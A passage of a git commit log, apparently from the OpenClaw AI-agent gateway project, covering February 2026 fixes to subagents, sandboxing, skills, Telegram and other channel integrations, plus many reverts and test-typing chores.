- 48/48 includes.test.ts tests passing
- 5,063/5,063 full suite tests passing
- 95.55% coverage on includes.ts
- Zero regressions, zero breaking changes

Attack Vectors Blocked:
✓ Absolute paths (/etc/passwd, /etc/shadow)
✓ Relative traversal (../../etc/passwd)
✓ Symlink bypass attempts
✓ Home directory access (~/.ssh/id_rsa)

Legitimate Use Cases Preserved:
✓ Same directory includes (./config.json)
✓ Subdirectory includes (./clients/config.json)
✓ Deep nesting (./a/b/c/config.json)

Aether AI Agent Security Research
2026-02-18 03:27:16 +01:00
Peter Steinberger
ae3637b23b test: expand subagent announce completion coverage 2026-02-18 03:21:52 +01:00
Peter Steinberger
edf7d6af61 fix: harden subagent completion announce retries 2026-02-18 03:19:50 +01:00
Peter Steinberger
d7c6136c1f test: add sonnet 4.6 and opus 4.6 setup-token model tests 2026-02-18 03:12:32 +01:00
Gustavo Madeira Santana
5a31da8eec chore: format imports in gateway and session tools 2026-02-17 21:10:38 -05:00
Peter Steinberger
81db059627 fix(subagents): always read latest assistant/tool output on subagent completion 2026-02-18 02:59:40 +01:00
Peter Steinberger
0dd97feb41 fix(subagents): include tool role in subagent completion output 2026-02-18 02:57:33 +01:00
Gustavo Madeira Santana
985ec71c55 CLI: resolve parent/subcommand option collisions (#18725)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b7e51cf909
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-17 20:57:09 -05:00
Peter Steinberger
fa4f66255c fix(subagents): return completion message for manual session spawns 2026-02-18 02:52:35 +01:00
Peter Steinberger
f6f5cda6ca style: format subagent command files 2026-02-18 01:50:11 +00:00
Peter Steinberger
e2dd827ca4 fix: guarantee manual subagent spawn sends completion message 2026-02-18 02:45:05 +01:00
Peter Steinberger
5bd95bef5a fix(protocol): regenerate swift gateway models 2026-02-18 01:37:34 +00:00
Peter Steinberger
b8b43175c5 style: align formatting with oxfmt 0.33 2026-02-18 01:34:35 +00:00
Peter Steinberger
31f9be126c style: run oxfmt and fix gate failures 2026-02-18 01:29:02 +00:00
Peter Steinberger
638853c6d2 fix(security): sanitize sandbox env vars before docker launch 2026-02-18 02:18:05 +01:00
Peter Steinberger
5487c9adeb feat(security): add sandbox env sanitization helpers + tests 2026-02-18 02:18:02 +01:00
Peter Steinberger
71ad357bbe test: remove obsolete mesh test file 2026-02-18 02:18:02 +01:00
Peter Steinberger
972d1b74d0 Revert "Add mesh orchestration gateway methods with DAG execution and retry"
This reverts commit 83990ed542.
2026-02-18 02:18:02 +01:00
Peter Steinberger
01672a8f25 Revert "Add mesh auto-planning with chat command UX and hardened auth/session behavior"
This reverts commit 16e59b26a6.

# Conflicts:
#	src/auto-reply/reply/commands-mesh.ts
#	src/gateway/server-methods/mesh.ts
#	src/gateway/server-methods/server-methods.test.ts
2026-02-18 02:18:02 +01:00
Peter Steinberger
6dcc052bb4 fix: stabilize model catalog and pi discovery auth storage compatibility 2026-02-18 02:09:40 +01:00
Peter Steinberger
653add918b chore: bump workspace dependencies 2026-02-18 01:59:08 +01:00
Peter Steinberger
414b996b0c fix(agents): make image resize logs single-line with size 2026-02-18 01:58:33 +01:00
Peter Steinberger
3459200444 docs: reorder unreleased changelog by user-impact highlights 2026-02-18 01:51:28 +01:00
Nick Lamb
f42e13c17c feat(telegram): add forum topic creation support (#17035)
* Revert "fix(gateway): set explicit chat timeouts for mesh gateway calls"

This reverts commit c529e6005a.

* Revert "fix: capture init script exit codes instead of swallowing via pipe"

This reverts commit 8b14052ebe.

* Revert "feat(docker): add init script support via /openclaw-init.d/"

This reverts commit 53af9f7437.

* Revert "Agents: improve Windows scaffold helpers for venture studio"

This reverts commit b6d934c2c7.

* chore: Fix types in tests 1/N.

* chore: Fix types in tests 2/N.

* Revert "fix: remove stderr suppression so install failures are visible in build logs"

This reverts commit 717caa97fb.

* Revert "fix(docker): ensure memory-lancedb deps installed in Docker image"

This reverts commit 2ab6313d99.

* Revert "fix: add windowsHide: true to spawn in runCommandWithTimeout"

This reverts commit 32c66aff49.

* Revert "Onboarding: fix webchat URL loopback and canonical session"

This reverts commit 59e0e7e4ff.

* Revert "feat(linq): add interactive onboarding adapter"

This reverts commit b91e43714b.

* Revert "feat: add Linq channel — real iMessage via API, no Mac required"

This reverts commit d4a142fd8f.

* docs: clarify discord proxy scope for startup REST calls

* Revert "fix: flatten remaining anyOf/oneOf in Gemini schema cleaning"

This reverts commit 06b961b037.

* Revert "fix: session-memory hook finds previous session file after /new/reset"

This reverts commit d6acd71576.

* Revert "fix: respect OPENCLAW_HOME for isolated gateway instances"

This reverts commit 34b18ea9db.

* fix(process): harden graceful kill-tree cancellation semantics

* fix(slack): scope attachment extraction to forwarded shares

* docs(changelog): note process kill-tree hotfix

* docs(changelog): note slack forwarded attachment hotfix

* fix(session-memory): harden reset transcript recovery

* revert(telegram): undo accidental merge of PR #18601

* fix(ui): preserve locale bootstrap and trusted-proxy overview behavior

* fix(scripts): harden Windows UI spawn behavior

* fix(slack): validate interaction payloads and handle malformed actions

* fix(mattermost): harden react remove flag parsing

* docs(changelog): record PR 18608 fixups

* fix(heartbeat): bound responsePrefix strip for ack detection

* chore: Fix types in tests 3/N.

* chore: chore: Fix types in tests 4/N.

* chore: Fix types in tests 5/N.

* chore: Fix types in tests 6/N.

* chore: Format files.

* chore: Fix types that were broken due to reverts.

* chore: Cleanup unused vars that were leftover from the reverts.

* fix(actions): layer per-account gate fallback

* fix(subagents): pass group context in /subagents spawn

* fix(failover): align abort timeout detection and regressions

* fix(models): sync auth-profiles before availability checks

* fix(ui): correct usage range totals and muted styles

* Revert "feat: show transcript file size in session status"

This reverts commit 15dd2cda20.

* revert(doctor): undo accidental merge of PR #18591

* fix(agents): align session lock hold budget with run timeouts

* Revert "fix: resolve #12770 - update Antigravity default model and trim leading whitespace in BlueBubbles replies"

This reverts commit e179d453c7.

* revert(tools): undo accidental merge of PR #18584

* revert(tools): finish rollback of PR #18584

* chore: Fix Slack test.

* revert: remove accidentally merged video-quote-finder skill (#18550)

* revert: accidental merge of OC-09 sandbox env sanitization change

* fix(doctor): move forced exit to top-level command

* chore: Fix types in tests 7/N.

* chore: Fix types in tests 8/N.

* chore: Fix types in tests 9/N.

* chore: Fix types in tests 10/N.

* chore: Fix types in tests 11/N.

* chore: chore: Fix types in tests 12/N.

* chore: Fix type errors from reverts.

* fix(gateway): remove watch-mode build/start race (#18782)

* fix(doctor): repair googlechat open dm wildcard auto-fix

* test(extensions): cast fetch mocks to satisfy tsgo

* fix(gateway): harden channel health monitor recovery

* fix(reply): track messaging media aliases for dedupe

* refactor(plugins): split before-agent hooks by model and prompt phases

* revert(telegram): undo accidental merge of PR #18564

* fix(agents): restore multi-image image tool schema contract

* chore: Format files.

* fix(ui): gate sessions refresh on successful delete

* revert(docs): undo accidental merge of #18516

* revert(exec): undo accidental merge of PR #18521

* docs(cron): clarify webhook posting summary condition

* fix(gateway): preserve chat.history context under hard caps

* chore: Fix types in tests 13/N.

* chore: Fix types in tests 14/N.

* chore: Fix types in tests 15/N.

* chore: Fix types in tests 16/N.

* chore: Fix types in tests 17/N.

* chore: Fix types in tests 18/N.

* chore: Format files.

* revert(sandbox): revert SHA-1 slug restoration

* test(session): cover stale threadId fallback

* test(status): cover token summary variants

* test(telegram): cover getFile file-too-big errors

* test(voice-call): cover stream disconnect auto-end

* chore(format): fix test import order

* test(agents): cover tool result media placeholders

* chore: chore: Fix types in tests 19/N.

* chore: Fix types in tests 20/N.

* chore: Fix types in tests 21/N.

* chore: Fix types in tests 22/N.

* chore: Fix types in tests 23/N.

* docs(voice-call): document stale call reaper config

* fix(doctor): audit env-only gateway tokens

* fix(sessions): purge deleted transcript archives

* test(docker): cover browser install build arg

* revert(gateway): restore loopback auth setup

* revert(voice-call): undo cached greeting note

* revert(voice-call): undo oxfmt formatting

* revert(voice-call): undo oxfmt formatting pass

* revert(voice-call): remove cached inbound greeting

* test: stabilize infra tests

* fix(subagents): harden announce retry guards

* Revert "fix(whatsapp): allow per-message link preview override\n\nWhatsApp messages default to enabling link previews for URLs. This adds\nsupport for overriding this behavior per-message via the \nparameter (e.g. from  tool options), consistent with Telegram.\n\nFix: Updated internal WhatsApp Web API layers to pass  option\ndown to Baileys ."

This reverts commit 1bef2fc68b.

* fix(telegram): clear offsets on token change

* test(agents): cover exec non-zero exits

* CI: use self-hosted for labeler/automation

* Revert "channels: migrate extension account listing to factory"

This reverts commit d24340d75b.

* chore(format)

* chore: wtf.

* chore: Fix types.

* chore: Fix types in tests 24/N.

* chore: Fix types in tests 25/N.

* chore: Fix types in tests 26/N.

* chore: Fix types in tests 27/N.

* chore: Fix types in tests 28/N.

* chore: Fix types in tests 29/N.

* chore: Fix types in tests 30/N.

* chore: Fix types in tests 31/N.

* chore: Fix types in tests 32/N.

* fix(telegram): add initial message debounce for better push notifications (#18147)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5e2285b6a0
Co-authored-by: Marvae <11957602+Marvae@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus

* style(telegram): format dispatch files

* chore: Fix types in tests 33/N.

* chore: Fix types in tests 34/N.

* chore: Fix types in tests 35/N.

* chore: Fix types in tests 36/N.

* chore: Fix types in tests 37/N.

* chore: Fix types in tests 38/N.

* chore: Fix types in tests 39/N.

* chore: Fix types in tests 40/N.

* chore: Fix types in tests 41/N.

* chore: Fix types in tests 42/N.

* chore: Fix types in tests 43/N.

* chore: Fix types in tests 44/N.

* chore: Fix types in tests 45/N.

* chore: Typecheck tests.

* chore: Fix broken test.

* chore: Fix hanging test.

* fix(telegram): avoid duplicate preview bubbles in partial stream mode (#18956)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: cf4eca71d4
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus

* fix: before_tool_call hook double-fires with abort signal (#16852)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6269d617f3
Co-authored-by: sreuter <550246+sreuter@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus

* Revert "Default Telegram polls to public"

This reverts commit c43e95e011.

* Revert "Fix Telegram poll action wiring"

This reverts commit 556b531a14.

* Revert "Add Telegram polls action to config typing"

This reverts commit 5cbfaf5cc7.

* Revert "fix(telegram): wire sendPollTelegram into channel action handler (#16977)"

This reverts commit 7bb9a7dcfc.

* CI: remove formal models conformance workflow (#19007)

* fix: preserve telegram dm topic thread ids

* style: drop aidev-note prefix in telegram comments

* test: pass extensionContext in abort dedupe e2e

* fix: align tool execute arg parsing for hooks

* test: type telegram action mock passthrough args

* Configure: make model picker allowlist searchable

* Configure: improve searchable model picker token matching

* Docs: add screenshot showing model picker usability issue

* fix: searchable model picker in configure (#19010) (thanks @bjesuiter)

* fix(extensions): revert openai codex auth plugin (PR #18009)

* feat(telegram): add channel_post support for bot-to-bot communication (#17857)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 27a343cd4d
Co-authored-by: theSamPadilla <35386211+theSamPadilla@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus

* Revert "fix: handle forum/topics in Telegram DM thread routing (#17980)"

This reverts commit e20b87f1ba.

* Revert: undo #17974 README change

* voice-call: harden closed-loop turn loop and transcript routing (#19140)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 14a3edb005
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky

* iOS onboarding: stop auth step-3 retry loop churn (#19153)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a38ec42bdd
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky

* Revert: fully roll back #17974 zh-cn UI README

* chore(subagents): add regression coverage and changelog

* fix(daemon): scope token drift warnings

* test(web): fix baileys mock typing

* test(cron): cover webhook session rollover overrides

* docs(changelog): note webhook session reuse fix

* fix(discord): normalize command allowFrom prefixes

* fix(cli): honor update restart overrides

* fix(cron): add spin-loop regression coverage

* test(gateway): cover trusted proxy trimming

* test(discord): cover audioAsVoice replies

* test(feishu): cover post mentions for other users

* fix(discord): preserve DM lastRoute user target

* Revert "fix(browser): track original port mapping for EADDRINUSE fallback"

This reverts commit 8e55503d77.

* Revert "fix(browser): handle EADDRINUSE with automatic port fallback"

This reverts commit 0e6daa2e6e.

* test(discord): fix mock call arg typing

* Revert: fully roll back #17986 templates

* test: add fetch mock helper and reaction coverage

* CLI: approve latest pending device request

* docs(readme): remove Android install link

* revert(agents): remove llms.txt discovery prompt (#19192)

* fix(ui): revert PR #18093 directive tags (#19188)

* test(discord): cover auto-thread skip types

* test(update): cover restart gating

* docs(zai): document tool_stream defaults

* revert: per-model thinkingDefault override (#19195)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: fe2c59e222
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight

* fix(gateway): make stale token cleanup non-fatal

* Agents: add before_message_write persistence regression tests

* fix(mattermost): surface reactions support

* Tests: fix fetch mock typings for type-aware checks

* revert: fix models set catalog validation (#19194)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7e3b2ff7af
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight

* test: cover cron telemetry and typed fetch mocks

* revert(agents): revert base64 image validation (#19221)

* docs(cli): add components send example

* test(sessions): add delivery info regression coverage

* fix(daemon): guard preferred node selection

* test(auto-reply): cover sender_id metadata

* revert: PR 18288 accidental merge (#19224)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 3cda31578c
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight

* test(telegram): cover autoSelectFamily env precedence

* test(cron): add model fallback regression coverage

* test(release): add appcast regression coverage

* docs(changelog): remove revert entries

* docs: add maintainer application section

* docs: refine maintainer application guidance

* docs: add vision doc and link from README

* docs: add community plugins guide

* Update auto-response message for third-party extensions

* update my contributing list

* iOS: use operator session for ChatSheet RPCs (#19320)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0753b3a1a2
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky

* fix: sanitize native command names for Telegram API (#19257)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b608be3488
Co-authored-by: akramcodez <179671552+akramcodez@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus

* docs(slack): add assistant:write requirement for typing status

* chore: document sessions_spawn response note and subagent context prefix

* feat(ios): auto-select local signing team (#18421)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: bbb9c3aa48
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman

* fix(bluebubbles): recover outbound message IDs and include sender metadata

* fix cron announce routing and timeout handling

* changelog: add @tyler6204 credit for today's entries

* feat: share to openclaw ios app (#19424)

Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0a7ab8589a
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky

* Docs: expand multi-agent routing

* docs(changelog): add missing 2026.2.16 entries and reorder by user impact

* chore(release): bump version to 2026.2.17

* fix(signal): canonicalize message targets in tool and inbound flows

* docs: tighten contribution guidance and vision links

* docs: tighten PR scope and review-size policy in vision

* fix(gateway): block cross-session fallback in node event delivery

* fix(gateway): make health monitor checks single-flight

* fix(ios): harden share relay routing and delivery guards

* fix(telegram): normalize topic-create targets and add regression tests

* feat(cron): add default stagger controls for scheduled jobs

* fix(cron): retry next-second schedule compute on undefined

* docs(security): harden gateway security guidance

* feat(models): support anthropic sonnet 4.6

* fix: wire agents.defaults.imageModel into media understanding auto-discovery

resolveAutoEntries only checked a hardcoded list of providers
(openai, anthropic, google, minimax) when looking for an image model.
agents.defaults.imageModel was never consulted by the media understanding
pipeline — it was only wired into the explicit `image` tool.

Add resolveImageModelFromAgentDefaults that reads the imageModel config
(primary + fallbacks) and inserts it into the auto-discovery chain before
the hardcoded provider list.  runProviderEntry already falls back to
describeImageWithModel (via pi-ai) for providers not in the media
understanding registry, so no additional provider registration is needed.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
(cherry picked from commit b381029ede)

* docs: update AGENTS instructions

* fix(subagent): harden read-tool overflow guards and sticky reply threading (#19508)

* fix(gateway): avoid premature agent.wait completion on transient errors

* fix(agent): preemptively guard tool results against context overflow

* fix: harden tool-result context guard and add message_id metadata

* fix: use importOriginal in session-key mock to include DEFAULT_ACCOUNT_ID

The run.skill-filter test was mocking ../../routing/session-key.js with only
buildAgentMainSessionKey and normalizeAgentId, but the module also exports
DEFAULT_ACCOUNT_ID which is required transitively by src/web/auth-store.ts.

Switch to importOriginal pattern so all real exports are preserved alongside
the mocked functions.

* pi-runner: guard accumulated tool-result overflow in transformContext

* PI runner: compact overflowing tool-result context

* Subagent: harden tool-result context recovery

* Enhance tool-result context handling by adding support for legacy tool outputs and improving character estimation for message truncation. This includes a new function to create legacy tool results and updates to existing functions to better manage context overflow scenarios.

* Enhance iMessage handling by adding reply tag support in send functions and tests. This includes modifications to prepend or rewrite reply tags based on provided replyToId, ensuring proper message formatting for replies.

* Enhance message delivery across multiple channels by implementing sticky reply context for chunked messages. This includes preserving reply references in Discord, Telegram, and iMessage, ensuring that follow-up messages maintain their intended reply targets. Additionally, improve handling of reply tags in system prompts and tests to support consistent reply behavior.

* Enhance read tool functionality by implementing auto-paging across chunks when no explicit limit is provided, scaling output budget based on model context window. Additionally, add tests for adaptive reading behavior and capped continuation guidance for large outputs. Update related functions to support these features.

* Refine tool-result context management by stripping oversized read-tool details payloads during compaction, ensuring repeated read calls do not bypass context limits. Introduce new utility functions for handling truncation content and enhance character estimation for tool results. Add tests to validate the removal of excessive details in context overflow scenarios.

* Refine message delivery logic in Matrix and Telegram by introducing a flag to track if a text chunk was sent. This ensures that replies are only marked as delivered when a text chunk has been successfully sent, improving the accuracy of reply handling in both channels.

* fix: tighten reply threading coverage and prep fixes (#19508) (thanks @tyler6204)

* fix(hooks): backport internal message hook bridge with safe delivery semantics

* fix(subagent): update SUBAGENT_SPAWN_ACCEPTED_NOTE for clarity on auto-announcement behavior

* fix: follow-up slack streaming routing/tests (#9972) (thanks @natedenh)

* fix: reduce default image dimension from 2000px to 1200px

Large images (2000px) consume excessive context tokens when sent to LLMs.
1200px provides sufficient detail for most use cases while significantly
reducing token usage.

The 5MB byte limit remains unchanged as JPEG compression at 1200px
naturally produces smaller files.

(cherry picked from commit 40182123dd)

* fix(agents): make image sanitization dimension configurable

* docs(tokens): document image dimension token tradeoffs

* Whatsapp/add resolve outbound target tests (#19345)

* test(whatsapp): add resolveWhatsAppOutboundTarget test suite

* style: auto-format files

* fix(test): correct mock order for invalid allowList entry test

* feat(skills): Add 'Use when / Don't use when' routing blocks (#14521)

* feat(skills): add 'Use when / Don't use when' blocks to skill descriptions

Based on OpenAI's Shell + Skills + Compaction best practices article.

Key changes:
- Added clear routing logic to skill descriptions
- Added negative examples to prevent misfires
- Added templates/examples to github skill
- Included Blake's specific setup notes for openhue

Skills updated:
- apple-reminders: Clarify vs Clawdbot cron
- github: Clarify vs local git operations
- imsg: Clarify vs other messaging channels
- openhue: Add device inventory, room layout
- tmux: Clarify vs exec tool
- weather: Add location defaults, format codes

Reference: https://developers.openai.com/blog/skills-shell-tips

* fix(skills): restore metadata and generic CLI examples

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>

* feat(agents): add generic provider api key rotation (#19587)

* feat(skills): improve descriptions with routing logic (#14577)

* feat(skills): improve descriptions with routing logic

Apply OpenAI's recommended pattern for skill descriptions:
- Add 'Use when' conditions for clear triggering
- Add 'NOT for' negative examples to reduce misfires
- Make descriptions act as routing logic, not marketing copy

Based on: https://developers.openai.com/blog/skills-shell-tips/

Skills updated:
- coding-agent: clarify when to delegate vs direct edit
- github: add boundaries vs browser/scripting
- weather: add scope limitations

Glean reported 20% drop in skill triggering without negative
examples, recovering after adding them. This change brings
Clawdbot skills in line with that pattern.

* docs(skills): clarify routing boundaries (openclaw#14577) (thanks @DylanWoodAkers)

* docs(changelog): add PR 14577 release note (openclaw#14577) (thanks @DylanWoodAkers)

---------

Co-authored-by: ClawdBotWolf <clawdbotwolf@proton.me>
Co-authored-by: Peter Steinberger <steipete@gmail.com>

* Add frontend-design skill

* feat(telegram): add forum topic creation support (#10427)

Add `topic-create` action to the Telegram message adapter, enabling
programmatic creation of forum topics in supergroups.

Changes:
- Add `createForumTopicTelegram()` to `src/telegram/send.ts`
- Add `createForumTopic` handler in `telegram-actions.ts`
- Wire `topic-create` action in Telegram adapter
- Register `topic-create` in message action names and spec

The bot requires `can_manage_topics` permission in the target group.
Supports optional `iconColor` and `iconCustomEmojiId` parameters.

Closes #10427

* chore: fix formatting in frontend-design SKILL.md

* fix: add action gate check and config type for createForumTopic

Address review feedback:
- Add isActionEnabled() gate in telegram-actions.ts
- Add gate() check in telegram adapter listActions
- Add createForumTopic to TelegramActionConfig type

* fix(telegram): normalize topic-create targets and add regression tests

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
Co-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
Co-authored-by: cpojer <christoph.pojer@gmail.com>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
Co-authored-by: Josh Avant <830519+joshavant@users.noreply.github.com>
Co-authored-by: Shadow <hi@shadowing.dev>
Co-authored-by: Hongwei Ma <Marvae@users.noreply.github.com>
Co-authored-by: Marvae <11957602+Marvae@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: Ayaan Zaidi <zaidi@uplause.io>
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
Co-authored-by: Sascha Reuter <s.reuter@geek-it.de>
Co-authored-by: sreuter <550246+sreuter@users.noreply.github.com>
Co-authored-by: Nimrod Gutman <nimrod.g@singular.net>
Co-authored-by: Vignesh <mailvgnsh@gmail.com>
Co-authored-by: Benjamin Jesuiter <bjesuiter@gmail.com>
Co-authored-by: Sam Padilla <35386211+theSamPadilla@users.noreply.github.com>
Co-authored-by: Muhammed Mukhthar CM <mukhtharcm@gmail.com>
Co-authored-by: Mariano <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: Shakker <shakkerdroid@gmail.com>
Co-authored-by: Mariano Belinky <mbelinky@gmail.com>
Co-authored-by: Shadow <shadow@openclaw.ai>
Co-authored-by: Sk Akram <skcodewizard786@gmail.com>
Co-authored-by: akramcodez <179671552+akramcodez@users.noreply.github.com>
Co-authored-by: Onur <onur@textcortex.com>
Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: Pablo Nunez <pnunfe@gmail.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Tyler Yust <64381258+tyler6204@users.noreply.github.com>
Co-authored-by: Han Xiao <han.xiao@jina.ai>
Co-authored-by: Verite Igiraneza <69280208+VeriteIgiraneza@users.noreply.github.com>
Co-authored-by: Blakeshannon <blake@blakeshannon.com>
Co-authored-by: Peter Steinberger <peter@steipete.me>
Co-authored-by: DylanWoodAkers <dylan@lec.com>
Co-authored-by: ClawdBotWolf <clawdbotwolf@proton.me>
Co-authored-by: Claw <claw@openclaw.ai>
2026-02-18 01:38:44 +01:00
Peter Steinberger
76949001ea fix: compact skill paths in prompt (#14776) (thanks @bitfish3) 2026-02-18 01:35:37 +01:00
mac26ai
4f2c57eb4e feat(skills): compact skill paths with ~ to reduce prompt tokens
Replace absolute home directory prefix with ~ in skill <location> tags
injected into the system prompt. Models understand ~ expansion and the
read tool resolves it, so this is a safe, backward-compatible change.

Saves ~5-6 tokens per skill path. For a workspace with 90+ skills,
this reduces system prompt size by ~400-600 tokens.

Changes:
- Add compactSkillPaths() helper in workspace.ts
- Apply in buildWorkspaceSkillSnapshot and buildWorkspaceSkillsPrompt
- Add test for path compaction behavior

Before: /Users/alice/.bun/install/global/node_modules/openclaw/skills/github/SKILL.md
After:  ~/.bun/install/global/node_modules/openclaw/skills/github/SKILL.md
2026-02-18 01:35:37 +01:00
DylanWoodAkers
cfd384ead2 feat(skills): improve descriptions with routing logic (#14577)
* feat(skills): improve descriptions with routing logic

Apply OpenAI's recommended pattern for skill descriptions:
- Add 'Use when' conditions for clear triggering
- Add 'NOT for' negative examples to reduce misfires
- Make descriptions act as routing logic, not marketing copy

Based on: https://developers.openai.com/blog/skills-shell-tips/

Skills updated:
- coding-agent: clarify when to delegate vs direct edit
- github: add boundaries vs browser/scripting
- weather: add scope limitations

Glean reported 20% drop in skill triggering without negative
examples, recovering after adding them. This change brings
Clawdbot skills in line with that pattern.

* docs(skills): clarify routing boundaries (openclaw#14577) (thanks @DylanWoodAkers)

* docs(changelog): add PR 14577 release note (openclaw#14577) (thanks @DylanWoodAkers)

---------

Co-authored-by: ClawdBotWolf <clawdbotwolf@proton.me>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-18 01:31:28 +01:00
Peter Steinberger
2e91552f09 feat(agents): add generic provider api key rotation (#19587) 2026-02-18 01:31:11 +01:00
Blakeshannon
9cce40d123 feat(skills): Add 'Use when / Don't use when' routing blocks (#14521)
* feat(skills): add 'Use when / Don't use when' blocks to skill descriptions

Based on OpenAI's Shell + Skills + Compaction best practices article.

Key changes:
- Added clear routing logic to skill descriptions
- Added negative examples to prevent misfires
- Added templates/examples to github skill
- Included Blake's specific setup notes for openhue

Skills updated:
- apple-reminders: Clarify vs Clawdbot cron
- github: Clarify vs local git operations
- imsg: Clarify vs other messaging channels
- openhue: Add device inventory, room layout
- tmux: Clarify vs exec tool
- weather: Add location defaults, format codes

Reference: https://developers.openai.com/blog/skills-shell-tips

* fix(skills): restore metadata and generic CLI examples

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-18 01:28:20 +01:00
Verite Igiraneza
6b5199ba2a Whatsapp/add resolve outbound target tests (#19345)
* test(whatsapp): add resolveWhatsAppOutboundTarget test suite

* style: auto-format files

* fix(test): correct mock order for invalid allowList entry test
2026-02-18 01:05:36 +01:00
Peter Steinberger
4c569ce246 docs(tokens): document image dimension token tradeoffs 2026-02-18 00:56:57 +01:00
Peter Steinberger
b05e89e5e6 fix(agents): make image sanitization dimension configurable 2026-02-18 00:54:20 +01:00
Han Xiao
5ee79f80eb fix: reduce default image dimension from 2000px to 1200px
Large images (2000px) consume excessive context tokens when sent to LLMs.
1200px provides sufficient detail for most use cases while significantly
reducing token usage.

The 5MB byte limit remains unchanged as JPEG compression at 1200px
naturally produces smaller files.

(cherry picked from commit 40182123dd)
2026-02-18 00:52:52 +01:00
Peter Steinberger
5b3ecadec3 Merge remote-tracking branch 'origin/main' 2026-02-18 00:51:04 +01:00
Peter Steinberger
1d23934c09 fix: follow-up slack streaming routing/tests (#9972) (thanks @natedenh) 2026-02-18 00:50:22 +01:00
Peter Steinberger
bb9a539d1d Merge remote-tracking branch 'prhead/feat/slack-text-streaming'
# Conflicts:
#	docs/channels/slack.md
#	src/config/types.slack.ts
#	src/slack/monitor/message-handler/dispatch.ts
2026-02-18 00:49:30 +01:00
Tyler Yust
b2acfd606a fix(subagent): update SUBAGENT_SPAWN_ACCEPTED_NOTE for clarity on auto-announcement behavior 2026-02-17 15:49:22 -08:00
Peter Steinberger
f07bb8e8fc fix(hooks): backport internal message hook bridge with safe delivery semantics 2026-02-18 00:35:41 +01:00
Tyler Yust
087dca8fa9 fix(subagent): harden read-tool overflow guards and sticky reply threading (#19508)
* fix(gateway): avoid premature agent.wait completion on transient errors

* fix(agent): preemptively guard tool results against context overflow

* fix: harden tool-result context guard and add message_id metadata

* fix: use importOriginal in session-key mock to include DEFAULT_ACCOUNT_ID

The run.skill-filter test was mocking ../../routing/session-key.js with only
buildAgentMainSessionKey and normalizeAgentId, but the module also exports
DEFAULT_ACCOUNT_ID which is required transitively by src/web/auth-store.ts.

Switch to importOriginal pattern so all real exports are preserved alongside
the mocked functions.

* pi-runner: guard accumulated tool-result overflow in transformContext

* PI runner: compact overflowing tool-result context

* Subagent: harden tool-result context recovery

* Enhance tool-result context handling by adding support for legacy tool outputs and improving character estimation for message truncation. This includes a new function to create legacy tool results and updates to existing functions to better manage context overflow scenarios.

* Enhance iMessage handling by adding reply tag support in send functions and tests. This includes modifications to prepend or rewrite reply tags based on provided replyToId, ensuring proper message formatting for replies.

